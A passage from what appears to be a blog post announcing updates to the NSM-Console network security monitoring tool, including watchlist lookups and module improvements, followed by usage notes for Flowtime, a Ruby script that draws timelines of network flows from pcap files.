So as an example, if I wanted to look up a service port, now I just type “serv 5190” and see if /etc/services has an entry for that port. (I have a habit of hitting ‘ll’ or ‘ls’ all the time, so now at least they’re useful)

Additional modules: flowtime and harimau
I added a couple of modules, the first is flowtime, which is a packet timeliner that I wrote about in this post. The second is the Harimau module, which will query the Harimau watchlist for all the IPs in a pcap file and print out the matching entries. Thanks go to Spoonfork and the Security.org.my team for the awesome tool.
Note: flowtime won’t work out of the box in Hex unless you install Argus version 3 (not version 2, which is what Hex comes with) as well as symlink ‘ploticus’ to ‘pl’ somewhere in your path.

Checkip command
Speaking of the Harimau watchlist, it has also been integrated as an NSM-Console command. You can see an example here:
nsm> checkip 209.177.146.34
209.177.146.34,www.emergingthreats.net/rules/bleeding-botcc.rules,botcc,2008-02-05 00:03:10

Module improvements
The snort module now uses the ac-bnfa search algorithm, which should help on systems with lower amounts of RAM (*cough* like my own). In addition, the bro-ids module now actually generates many more helpful reports and actually performs intrusion detection instead of just generating flow content. Some modules have been added to categories to make them easier to toggle.

Other minor improvements
Toggle handles multiple module names, space separated
All NSM-Console errors finally go to STDERR instead of STDOUT
Help command is much more readable and supports argument to get help about a particular command.
~./nsmcrc is read extremely quietly now, so it doesn’t fill up the screen
Bugfixes.

You can read the entire changelog here.

As always, please please please let me know if you have any comments, criticisms or suggestions Feel free to email me or leave a comment below.

Flowtime is a script written in Ruby that produces a timeline of the network flows in a pcap file. Everything is better with a picture, so here’s a picture: (warning, this picture is 3000×2000 pixels, kind of large)

Each bar on the left is a IP address along with a port, the timeline on the bottom is the time it was capture (in seconds). The different colors represent different kinds of traffic, http is blue, ssl is red, yellow is other, etc. At the moment there isn’t any legend, but I already think it’s useful just to see patterns in the traffic over time.

Download Flowtime here.

Requirements to run Flowtime:

• Argus (version 3 only)
• Ploticus (you should have ‘pl’ in your path. You may have to symlink ‘ploticus’ to ‘pl’)
• EasyTimeline (you should have ‘EasyTimeline’ in your path)

Yea, I know, lots of dependencies, I’m hoping to rewrite this into a MUCH better version in the future, consider this the prototype

Here’s how to run it:

flowtime [-w #] [-h #] [-g] [--help] <pcapfile> <ipaddr> <outfile_base>
-w specify the width, default: 2000
-h specify the height, default: 2000
-g automatically try generate a png (requires 'EasyTimeline' and 'pl' in path)
<pcapfile> the packet file to generate a graph of
<ipaddr> source address to generate a graph for, 'all' for all IPs
<outfile_base> basename for the output file

To generate a basic graph, just do something like ‘flowtime -g data.pcap all data-out‘. After running this (if everything works okay), you should have a few files in your directory, if you open data-out.png you should be able to see the data as a timeline. If there are errors instead of data-out.png, there will be a file called data-out.err.

I know this script has issues, isn’t very user-friendly and doesn’t always work, here’s what I’m hoping to improve for the next version:

• Generate an image of the entire timeline, in addition to showing it in a window
• The ability to zoom in to a particular range of time to show only that time
• Export an image of the current view
• Select a bar to get more information about that flow

I’m going to have to use a different framework though, I’m considering Tk, but I haven’t ever done anything with it before.

Questions? Concerns? Comments? Suggestions?

P.S. I already made an NSM-Console module for flowtime too